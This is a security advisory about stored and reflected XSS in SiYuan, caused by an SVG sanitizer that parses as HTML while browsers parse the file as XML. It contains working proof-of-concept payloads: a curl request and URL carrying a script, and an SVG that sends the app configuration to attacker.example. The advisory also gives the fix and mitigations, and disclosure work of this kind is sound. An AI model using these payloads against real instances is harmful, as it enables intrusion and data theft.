SiYuan: Stored and Reflected XSS via SVG Sanitizer Bypass (HTML/XML Parser Mismatch)
SiYuan's SVG cleaner uses an HTML parser to strip scripts, but browsers read the served file as XML, so wrapping a script inside desc and style tags hides it from the cleaner while still executing it…

The problem
SiYuan sanitizes uploaded and reflected SVG content with util.SanitizeSVG in kernel/util/misc.go. This function parses the input with Go's HTML parser, removes dangerous tags, then re-serializes. The app serves the result as Content-Type: image/svg+xml with no Content Security Policy.
The HTML parser treats <desc> and <title> as HTML integration points and treats <style> as a raw-text element inside them, so it never parses their text content as child nodes. A <script> buried inside <desc><style> is invisible to the cleaner's tree walk and passes through intact.
The XML parser the browser uses for SVG has no such raw-text rule, so it sees a fully working script node and executes it on the app origin.
Two endpoints share this root cause. GET /api/icon/getDynamicIcon reflects the content query parameter directly into the SVG template (reflected XSS, one link). GET /assets/<name>.svg serves a stored asset through the same cleaner (stored XSS, requires planting a file).
Proof of concept
A working proof-of-concept for this issue in github.com/siyuan-note/siyuan/kernel, with the exact payload below.
# Reflected XSS — one URL, no interaction beyond opening it
curl -sk -G 'http://127.0.0.1:6806/api/icon/getDynamicIcon' \
--data-urlencode 'type=8' \
--data-urlencode 'content=</text><desc><style><script>alert(document.domain)</script></style></desc><text>'
# Equivalent browser URL (URL-encoded):
# http://127.0.0.1:6806/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3E%3Cdesc%3E%3Cstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%2Fstyle%3E%3C%2Fdesc%3E%3Ctext%3E
# Stored XSS — plant this as data/assets/evil.svg
# <svg xmlns="http://www.w3.org/2000/svg">
# <desc><style><script>
# fetch('/api/system/getConf',{method:'POST'}).then(r=>r.text())
# .then(t=>{new Image().src='https://attacker.example/?'+encodeURIComponent(t)});
# </script></style></desc>
# </svg>
# Then open: http://127.0.0.1:6806/assets/evil.svgThe root cause is a parser-mismatch (CWE-79). The Go HTML5 parser treats <style> inside <desc> as a raw-text element, so its contents are never parsed into child nodes and the tag-name blocklist never fires. The serializer writes those raw bytes back unchanged.
The browser, parsing the response as XML/SVG, has no raw-text rule for <style>, so it constructs a real <script> child node and executes it.
The patch (commit f08dee71ba8e) fixes SanitizeSVG in kernel/util/misc.go to also drop <desc> and <title> elements (or their inner content) and to block raw-text smuggling paths like <style> and <noscript> inside SVG integration points. The getDynamicIcon handler's content parameter was also escaped before being placed into the SVG template, closing the reflected path independently.
The fix
Upgrade to SiYuan v3.7.3 (Go module pseudo-version 0.0.0-20260714095344-f08dee71ba8e or later). The fix is in commit f08dee71ba8e087a395d74f121de11e6a997ef14. If immediate upgrade is not possible, set Editor.AllowSVGScript=false (already the default) and restrict access to /api/icon/getDynamicIcon and /assets/*.svg at the network layer.
Adding a Content-Disposition: attachment header and a strict script-src 'none' CSP on those paths would also limit impact.
Reported by JoyGhoshs.
Related research
- critical · 9.9CVE-2026-50551CVE-2026-50551: SiYuan Stored XSS to RCE via Attribute View Asset Cell
- critical · 9.9CVE-2026-54067CVE-2026-54067: SiYuan Stored XSS to RCE via CSS Snippet Style Tag Breakout
- high · 7.1CVE-2026-54070CVE-2026-54070: SiYuan Stored XSS via Bazaar README Event Handler Bypass
- critical · 9.9CVE-2026-54158CVE-2026-54158: SiYuan Stored XSS to RCE via Unescaped Attribute-View Cell Rendering